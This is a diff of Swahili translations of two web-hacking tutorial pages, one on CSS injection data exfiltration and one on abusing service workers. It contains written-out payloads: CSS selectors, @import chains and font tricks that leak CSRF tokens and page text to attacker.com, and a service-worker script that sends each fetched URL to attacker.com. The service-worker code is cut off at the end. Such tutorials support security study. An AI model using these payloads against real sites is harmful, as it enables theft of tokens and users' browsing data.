||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
|
@ -40,11 +33,11 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Hata hivyo, mbinu hii inakabiliwa na kikomo wakati wa kushughulikia vipengele vya input vilivyojificha (`type="hidden"`) kwa sababu vipengele vilivyojificha havipakui mandharinyuma.
|
||||
Hata hivyo, mbinu hii inakabiliwa na kikomo wakati wa kushughulikia vipengele vya ingizo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakui mandharinyuma.
|
||||
|
||||
#### Kupita kwa Vipengele Vilivyojificha
|
||||
#### Kupita kwa Vipengele Vilivyofichwa
|
||||
|
||||
Ili kuzunguka kikomo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia mchanganyiko wa ndugu wa jumla `~`. Sheria ya CSS kisha inatumika kwa ndugu wote wanaofuatia kipengele cha input kilichojificha, na kusababisha picha ya mandharinyuma kupakuliwa:
|
||||
Ili kuzunguka kikomo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia mchanganyiko wa ndugu wa jumla `~`. Sheria ya CSS kisha inatumika kwa ndugu wote wanaofuatia kipengele cha ingizo kilichofichwa, na kusababisha picha ya mandharinyuma kupakuliwa:
|
||||
```css
|
||||
input[name=csrf][value^=csrF] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
|
|
@ -56,8 +49,8 @@ A practical example of exploiting this technique is detailed in the provided cod
|
|||
|
||||
For the CSS Injection technique to be effective, certain conditions must be met:
|
||||
|
||||
1. **Payload Length**: Upeo wa CSS injection lazima uunge mkono urefu wa kutosha wa payloads ili kuweza kubeba selectors zilizoundwa.
|
||||
2. **CSS Re-evaluation**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambayo ni muhimu ili kuanzisha upya wa CSS na payloads mpya zilizozalishwa.
|
||||
1. **Payload Length**: Upeo wa CSS lazima uunge mkono urefu wa kutosha wa payloads ili kuzingatia wachaguzi walioundwa.
|
||||
2. **CSS Re-evaluation**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambayo ni muhimu kuanzisha upya tathmini ya CSS na payloads mpya zilizoundwa.
|
||||
3. **External Resources**: Mbinu hii inadhani uwezo wa kutumia picha zinazohifadhiwa nje. Hii inaweza kuwa na vizuizi na Sera ya Usalama wa Maudhui (CSP) ya tovuti.
|
||||
|
||||
### Blind Attribute Selector
|
||||
|
|
@ -77,30 +70,30 @@ Kuchanganya hii na mbinu ifuatayo ya **@import**, inawezekana kutoa taarifa nyin
|
|||
|
||||
### @import
|
||||
|
||||
Mbinu ya awali ina mapungufu, angalia mahitaji. Unahitaji kuwa na uwezo wa **kutuma viungo vingi kwa mwathirika**, au unahitaji kuwa na uwezo wa **iframe kurasa iliyo hatarini kwa CSS injection**.
|
||||
Mbinu ya awali ina mapungufu fulani, angalia mahitaji. Unahitaji kuwa na uwezo wa **kutuma viungo vingi kwa mwathirika**, au unahitaji kuwa na uwezo wa **iframe kurasa zilizo na CSS injection**.
|
||||
|
||||
Hata hivyo, kuna mbinu nyingine ya busara inayotumia **CSS `@import`** kuboresha ubora wa mbinu hiyo.
|
||||
|
||||
Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo:
|
||||
|
||||
Badala ya kupakia ukurasa huo huo mara kwa mara na payload tofauti kumi kila wakati (kama ilivyo katika ile ya awali), tutapakia **ukurasa mara moja tu na kwa kuagiza tu kwenye seva ya washambuliaji** (hii ndiyo payload ya kutuma kwa mwathirika):
|
||||
Badala ya kupakia ukurasa huo huo mara kwa mara na mzigo tofauti kumi kila wakati (kama ilivyo katika ile ya awali), tutakuwa **tukipakia ukurasa mara moja tu na kwa kuagiza tu kwenye seva ya washambuliaji** (hii ndiyo mzigo wa kutuma kwa mwathirika):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
1. Uagizaji utaenda **kupokea baadhi ya script za CSS** kutoka kwa washambuliaji na **kivinjari kitaipakia**.
|
||||
2. Sehemu ya kwanza ya script ya CSS ambayo mshambuliaji atatuma ni **@import nyingine kwa seva ya washambuliaji tena.**
|
||||
1. Seva ya washambuliaji haitajibu ombi hili bado, kwani tunataka kuvuja baadhi ya herufi na kisha kujibu uagizaji huu na mzigo wa kuvuja wa zifuatazo.
|
||||
3. Sehemu ya pili na kubwa zaidi ya mzigo itakuwa **mzigo wa kuvuja wa mteule wa sifa**
|
||||
1. Seva ya washambuliaji haitajibu ombi hili bado, kwani tunataka kuvuja baadhi ya herufi na kisha kujibu uagizaji huu na mzigo wa kuvuja waifuatayo.
|
||||
3. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa chaguo la sifa**
|
||||
1. Hii itatuma kwa seva ya washambuliaji **herufi ya kwanza ya siri na ya mwisho**
|
||||
4. Mara baada ya seva ya washambuliaji kupokea **herufi ya kwanza na ya mwisho ya siri**, it **itajibu uagizaji ulioombwa katika hatua ya 2**.
|
||||
1. Jibu litakuwa sawa kabisa na **hatua za 2, 3 na 4**, lakini wakati huu itajaribu **kupata herufi ya pili ya siri na kisha ya kabla ya mwisho**.
|
||||
4. Mara baada ya seva ya washambuliaji kupokea **herufi ya kwanza na ya mwisho ya siri**, itajibu **uagizaji ulioombwa katika hatua ya 2**.
|
||||
1. Jibu litakuwa sawa kabisa na **hatua 2, 3 na 4**, lakini wakati huu litajaribu **kupata herufi ya pili ya siri na kisha ya pili mwisho**.
|
||||
|
||||
Mshambuliaji atafuatilia **mzunguko huo hadi apate kabisa siri**.
|
||||
|
||||
Unaweza kupata [**kanuni ya asili ya Pepe Vila ya kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**kanuni sawa lakini iliyoelezewa hapa**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Script itajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na kutoka mwisho) kwa sababu mteule wa sifa unaruhusu kufanya mambo kama:
|
||||
Script itajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na kutoka mwisho) kwa sababu chaguo la sifa linaruhusu kufanya mambo kama:
|
||||
```css
|
||||
/* value^= to match the beggining of the value*/
|
||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||
|
|
@ -131,7 +124,7 @@ Njia nyingine za kufikia sehemu za DOM kwa kutumia **CSS selectors**:
|
|||
|
||||
**Marejeo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Nia kuu ni **kutumia font maalum kutoka kwa mwisho unaodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanaonyeshwa kwa font hii tu ikiwa rasilimali iliyoainishwa (`favicon.ico`) haiwezi kupakuliwa**.
|
||||
Nia kuu ni **kutumia font maalum kutoka mwisho ulio na udhibiti** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanaonyeshwa kwa font hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakuliwa**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
|
@ -155,20 +148,20 @@ font-family: 'poc';
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Matumizi ya Fonti Maalum**:
|
||||
- Fonti maalum inafafanuliwa kwa kutumia sheria ya `@font-face` ndani ya tag `<style>` katika sehemu ya `<head>`.
|
||||
- Fonti hiyo inaitwa `poc` na inapatikana kutoka kwa kiungo cha nje (`http://attacker.com/?leak`).
|
||||
1. **Matumizi ya Fonti ya Kijadi**:
|
||||
- Fonti ya kijadi inafafanuliwa kwa kutumia sheria ya `@font-face` ndani ya tag `<style>` katika sehemu ya `<head>`.
|
||||
- Fonti inaitwa `poc` na inapatikana kutoka kwa kiungo cha nje (`http://attacker.com/?leak`).
|
||||
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
|
||||
|
||||
2. **Element ya Kitu na Maandishi ya Kurejelea**:
|
||||
- Element ya `<object>` yenye `id="poc0"` imeundwa katika sehemu ya `<body>`. Element hii inajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
|
||||
- Familia ya fonti kwa element hii imewekwa kuwa `'poc'`, kama ilivyoainishwa katika sehemu ya `<style>`.
|
||||
- Ikiwa rasilimali (`favicon.ico`) itashindwa kupakia, maudhui ya kurejelea (herufi 'A') ndani ya tag `<object>` yanaonyeshwa.
|
||||
- Maudhui ya kurejelea ('A') yataonyeshwa kwa kutumia fonti maalum `poc` ikiwa rasilimali ya nje haiwezi kupakiwa.
|
||||
- Maudhui ya kurejelea ('A') yataonyeshwa kwa kutumia fonti ya kijadi `poc` ikiwa rasilimali ya nje haiwezi kupakiwa.
|
||||
|
||||
### Mtindo wa Scroll-to-Text Fragment
|
||||
|
||||
Pseudo-class **`:target`** inatumika kuchagua element inayolengwa na **URL fragment**, kama ilivyoainishwa katika [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` haitafautisha element yoyote isipokuwa maandiko yalenge waziwazi na fragment.
|
||||
Pseudo-class **`:target`** inatumika kuchagua element inayolengwa na **URL fragment**, kama ilivyoainishwa katika [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` haiwezi kulinganisha na element yoyote isipokuwa maandiko yalengewe wazi na fragment.
|
||||
|
||||
Kuna wasiwasi wa usalama unapojitokeza wakati washambuliaji wanatumia kipengele cha **Scroll-to-text** fragment, wakiruhusu kuthibitisha uwepo wa maandiko maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia HTML injection. Njia hii inahusisha kuingiza sheria ya CSS kama hii:
|
||||
```css
|
||||
|
|
@ -178,13 +171,13 @@ Katika hali kama hizi, ikiwa maandiko "Administrator" yapo kwenye ukurasa, rasil
|
|||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Hapa, shambulio linatumia HTML injection kuhamasisha CSS code, likilenga maandiko maalum "Administrator" kupitia Scroll-to-text fragment (`#:~:text=Administrator`). Ikiwa maandiko yanapatikana, rasilimali iliyoonyeshwa inachukuliwa, bila kukusudia kuashiria uwepo wake kwa mshambuliaji.
|
||||
Hapa, shambulio linatumia HTML injection kuhamasisha CSS code, likilenga maandiko maalum "Administrator" kupitia Scroll-to-text fragment (`#:~:text=Administrator`). Ikiwa maandiko yanapatikana, rasilimali iliyoonyeshwa inaloadiwa, bila kukusudia kuashiria uwepo wake kwa mshambuliaji.
|
||||
|
||||
Ili kupunguza hatari, mambo yafuatayo yanapaswa kuzingatiwa:
|
||||
|
||||
1. **Ulinganifu wa STTF ulio na mipaka**: Scroll-to-text Fragment (STTF) imeundwa kulinganisha maneno au sentensi pekee, hivyo kupunguza uwezo wake wa kuvuja siri au token zisizo za kawaida.
|
||||
1. **Ulinganifu wa STTF ulio na mipaka**: Scroll-to-text Fragment (STTF) imeundwa kulinganisha maneno au sentensi pekee, hivyo kupunguza uwezo wake wa kuvuja siri au tokens zisizo za kawaida.
|
||||
2. **Kikomo kwa Muktadha wa Kivinjari wa Juu**: STTF inafanya kazi tu katika muktadha wa kivinjari wa juu na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyakuzi kuwa rahisi kuonekana kwa mtumiaji.
|
||||
3. **Mahitaji ya Uanzishaji wa Mtumiaji**: STTF inahitaji ishara ya uanzishaji wa mtumiaji ili kufanya kazi, ikimaanisha unyakuzi unaweza kufanyika tu kupitia navigations zilizoanzishwa na mtumiaji. Mahitaji haya yanapunguza sana hatari ya mashambulizi kufanywa kiotomatiki bila mwingiliano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blog anabainisha hali maalum na njia za kupita (k.m. uhandisi wa kijamii, mwingiliano na nyongeza maarufu za kivinjari) ambazo zinaweza kurahisisha kiotomatiki cha shambulio.
|
||||
3. **Mahitaji ya Uanzishaji wa Mtumiaji**: STTF inahitaji ishara ya uanzishaji wa mtumiaji ili kufanya kazi, ikimaanisha unyakuzi unaweza kufanyika tu kupitia navigations zilizoanzishwa na mtumiaji. Mahitaji haya yanapunguza sana hatari ya mashambulizi kufanywa kiotomatiki bila mwingiliano wa mtumiaji. Hata hivyo, mwandishi wa blogu anabainisha hali maalum na njia za kupita (k.m., uhandisi wa kijamii, mwingiliano na nyongeza maarufu za kivinjari) ambazo zinaweza kurahisisha kiotomatiki cha shambulio.
|
||||
|
||||
Uelewa wa mifumo hii na udhaifu wa uwezekano ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mbinu kama hizi za unyakuzi.
|
||||
|
||||
|
|
@ -194,7 +187,7 @@ Unaweza kuangalia [**unyakuzi ukitumia mbinu hii kwa CTF hapa**](https://gist.gi
|
|||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa **tu ikiwa thamani hizo za unicode zipo** kwenye ukurasa. Kwa mfano:
|
||||
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa **tu ikiwa hizo thamani za unicode zipo** kwenye ukurasa. Kwa mfano:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
|
@ -225,15 +218,15 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
|
|||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Teknolojia iliyoelezewa inahusisha kutoa maandiko kutoka kwa node kwa kutumia ligatures za fonti na kufuatilia mabadiliko katika upana. Mchakato huu unajumuisha hatua kadhaa:
|
||||
Teknik inayozungumziwa inahusisha kutoa maandiko kutoka kwa node kwa kutumia ligatures za fonti na kufuatilia mabadiliko katika upana. Mchakato unajumuisha hatua kadhaa:
|
||||
|
||||
1. **Uundaji wa Fonti za Kijadi**:
|
||||
- Fonti za SVG zinatengenezwa zikiwa na glyphs zenye sifa ya `horiz-adv-x`, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
|
||||
- Fonti za SVG zinatengenezwa na glyphs zikiwa na sifa ya `horiz-adv-x`, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
|
||||
- Mfano wa glyph ya SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, ambapo "XY" inamaanisha mfuatano wa herufi mbili.
|
||||
- Fonti hizi kisha zinabadilishwa kuwa muundo wa woff kwa kutumia fontforge.
|
||||
|
||||
2. **Ugunduzi wa Mabadiliko ya Upana**:
|
||||
- CSS inatumika kuhakikisha kuwa maandiko hayajikunja (`white-space: nowrap`) na kubadilisha mtindo wa scrollbar.
|
||||
- CSS inatumika kuhakikisha kuwa maandiko hayaandikiki (`white-space: nowrap`) na kubadilisha mtindo wa scrollbar.
|
||||
- Kuonekana kwa scrollbar ya usawa, iliyopangwa tofauti, inafanya kazi kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfuatano maalum wa herufi, upo katika maandiko.
|
||||
- CSS inayohusika:
|
||||
```css
|
||||
|
|
@ -243,9 +236,9 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
```
|
||||
|
||||
3. **Mchakato wa Kutumia**:
|
||||
- **Hatua ya 1**: Fonti zinaundwa kwa ajili ya jozi za herufi zenye upana mkubwa.
|
||||
- **Hatua ya 1**: Fonti zinaundwa kwa ajili ya jozi za herufi zikiwa na upana mkubwa.
|
||||
- **Hatua ya 2**: Hila inayotegemea scrollbar inatumika kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya herufi) inapotolewa, ikionyesha uwepo wa mfuatano wa herufi.
|
||||
- **Hatua ya 3**: Baada ya kugundua ligature, glyph mpya zinazowakilisha mfuatano wa herufi tatu zinaundwa, zikijumuisha jozi iliyogunduliwa na kuongeza herufi ya kabla au baada.
|
||||
- **Hatua ya 3**: Baada ya kugundua ligature, glyph mpya zinazowakilisha mfuatano wa herufi tatu zinaundwa, zikijumuisha jozi iliyogunduliwa na kuongeza herufi inayotangulia au inayofuatia.
|
||||
- **Hatua ya 4**: Ugunduzi wa ligature ya herufi tatu unafanywa.
|
||||
- **Hatua ya 5**: Mchakato unarudiwa, ukifunua maandiko yote hatua kwa hatua.
|
||||
|
||||
|
|
@ -259,7 +252,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
|
||||
Hila hii ilitolewa katika [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Charset inayotumika katika node ya maandiko inaweza kuvuja **kwa kutumia fonti za kawaida** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kawaida- zinazohitajika.
|
||||
|
||||
Wazo hili linahusisha kutumia uhuishaji kupanua upana wa `div` hatua kwa hatua, kuruhusu herufi moja kwa wakati mmoja kuhamia kutoka sehemu ya 'suffix' ya maandiko hadi sehemu ya 'prefix'. Mchakato huu unagawanya maandiko katika sehemu mbili:
|
||||
Dhana inahusisha kutumia uhuishaji kupanua upana wa `div` hatua kwa hatua, ikiruhusu herufi moja kwa wakati mmoja kuhamia kutoka sehemu ya 'suffix' ya maandiko hadi sehemu ya 'prefix'. Mchakato huu unagawanya maandiko katika sehemu mbili:
|
||||
|
||||
1. **Prefix**: Mstari wa awali.
|
||||
2. **Suffix**: Mstari wa baadaye.
|
||||
|
|
@ -284,7 +277,7 @@ Ingawa njia hii inaruhusu kugundua herufi za kipekee zinapojitokeza, haijabainis
|
|||
|
||||
{% hint style="info" %}
|
||||
Kimsingi, **unicode-range inatumika kugundua char**, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kupata njia nyingine.\
|
||||
Wakati **char** inapatikana, inapewa **fonti ya Comic Sans** iliyowekwa awali, ambayo inafanya char kuwa **kubwa** na inasababisha **scroll bar** ambayo itavuja **char iliyo patikana**.
|
||||
Wakati **char** inapatikana, inapewa **fonti ya Comic Sans** iliyowekwa awali, ambayo inafanya char kuwa **kubwa** na inasababisha **scroll bar** ambayo itavuja **char iliyopatikana**.
|
||||
{% endhint %}
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
|
|
@ -422,7 +415,7 @@ Kesi hii ni sawa sana na ile ya awali, hata hivyo, katika kesi hii lengo la kufa
|
|||
|
||||
**Reference:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Katika kesi hii, tunaweza kujaribu kufichua kama char ipo katika maandiko kwa kupakia fonti bandia kutoka chanzo kilekile:
|
||||
Katika kesi hii, tunaweza kujaribu kufichua kama char ipo katika maandiko kwa kupakia fonti bandia kutoka chanzo kimoja:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
|
@ -432,13 +425,13 @@ unicode-range: U+0041;
|
|||
```
|
||||
Ikiwa kuna mechi, **font itapakiwa kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, ** kivinjari kinapaswa kukiweka**, na hata kama hakuna cache, kuna **mekanism ya 304 isiyo badilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
|
||||
|
||||
Hata hivyo, ikiwa tofauti ya muda ya jibu lililohifadhiwa kutoka kwa lile lisilohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya kupima, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba bot inatumia bendera `disk-cache-size=1`, ambayo ni ya kufikiria sana.
|
||||
Hata hivyo, ikiwa tofauti ya muda ya jibu lililohifadhiwa kutoka kwa lile lisilohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Hata hivyo, baada ya kupima, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba bot inatumia lipo `disk-cache-size=1`, ambalo ni la kufikiria sana.
|
||||
|
||||
### Uhamasishaji wa nodi ya maandiko (III): kuvuja charset kwa kupima kupakia mamia ya "fonts" za ndani (zinazohitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Marejeo:** Hii inatajwa kama [suluhisho lisilo fanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonts za uongo** kutoka chanzo kimoja wakati mechi inatokea. Kwa njia hii unaweza **kupima muda** inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
|
||||
Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonts za uwongo** kutoka chanzo kimoja wakati mechi inatokea. Kwa njia hii unaweza **kupima muda** inachukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
|
@ -457,19 +450,13 @@ time.sleep(30)
|
|||
```
|
||||
Hivyo, ikiwa fonti haifananishi, muda wa majibu unapofika kwenye bot unatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna ulinganifu wa fonti, maombi mengi yatatumwa ili kupata fonti, na kusababisha mtandao kuwa na shughuli zisizo na kikomo. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusitisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria kubaini ikiwa kuna ulinganifu wa fonti.
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -1,7 +1,5 @@
|
|||
# Abusing Service Workers
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -17,42 +15,33 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Msaidizi wa huduma** ni script inayotumiwa na kivinjari chako kwa nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele ambavyo havihitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuboresha **uwezo wa usindikaji wa mbali na wa nyuma**. Taarifa za kina kuhusu wasaidizi wa huduma zinaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kutumia wasaidizi wa huduma ndani ya eneo la wavuti lenye udhaifu, washambuliaji wanaweza kupata udhibiti juu ya mwingiliano wa mwathirika na kurasa zote ndani ya eneo hilo.
|
||||
|
||||
A **service worker** ni script inayotendewa na kivinjari chako katika mandharinyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele ambavyo havihitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuboresha uwezo wa **kazi za mbali na za mandharinyuma**. Taarifa za kina kuhusu service workers zinaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kutumia service workers ndani ya eneo la wavuti lenye udhaifu, washambuliaji wanaweza kupata udhibiti juu ya mwingiliano wa mwathirika na kurasa zote ndani ya eneo hilo.
|
||||
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
Wasaidizi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya **Wasaidizi wa Huduma** ya tab ya **Programu** katika **Zana za Wataalamu**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
|
||||
Service workers waliopo wanaweza kuangaliwa katika sehemu ya **Service Workers** ya tab ya **Application** katika **Developer Tools**. Njia nyingine ni kutembelea [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) kwa mtazamo wa kina zaidi.
|
||||
|
||||
### Push Notifications
|
||||
|
||||
**Ruhusa za arifa za kusukuma** zinaathiri moja kwa moja uwezo wa **msaidizi wa huduma** kuwasiliana na seva bila mwingiliano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa msaidizi wa huduma kuleta tishio endelevu. Kinyume chake, kutoa ruhusa huongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza matumizi mabaya yanayoweza kutokea.
|
||||
**Ruhusa za arifa za kusukuma** zinaathiri moja kwa moja uwezo wa **service worker** kuwasiliana na seva bila mwingiliano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa service worker kuleta tishio endelevu. Kinyume chake, kutoa ruhusa huongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza exploit zinazoweza kutokea.
|
||||
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
Ili kutumia udhaifu huu unahitaji kutafuta:
|
||||
|
||||
* Njia ya **kupakia faili za JS zisizo na mpangilio** kwenye seva na **XSS ili kupakia msaidizi wa huduma** wa faili ya JS iliyopakiwa
|
||||
* **Omba la JSONP lenye udhaifu** ambapo unaweza **kubadilisha matokeo (kwa msimbo wa JS usio na mpangilio)** na **XSS** ili **kupakia JSONP na mzigo** ambao uta **pata msaidizi wa huduma mbaya**.
|
||||
* Njia ya **kupakia faili za JS zisizo na mpangilio** kwenye seva na **XSS ili kupakia service worker** ya faili ya JS iliyopakiwa
|
||||
* **Omba la JSONP lenye udhaifu** ambapo unaweza **kubadilisha matokeo (kwa kutumia msimbo wa JS zisizo na mpangilio)** na **XSS** ili **kupakia JSONP na payload** ambayo it **pakiwa service worker mbaya**.
|
||||
|
||||
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha msaidizi mpya wa huduma** ambao utasikiliza tukio la `fetch` na uta **tuma kwa seva ya washambuliaji kila URL iliyopatikana** (hii ni msimbo unahitaji **kupakia** kwenye **seva** au kupakia kupitia **jibu la JSONP lenye udhaifu**):
|
||||
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha service worker mpya** ambayo itasikiliza tukio la `fetch` na it **tuma kwa seva ya washambuliaji kila URL iliyopatikana** (hiki ndicho msimbo unahitaji **kupakia** kwenye **seva** au kupakia kupitia **jibu la JSONP lenye udhaifu**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
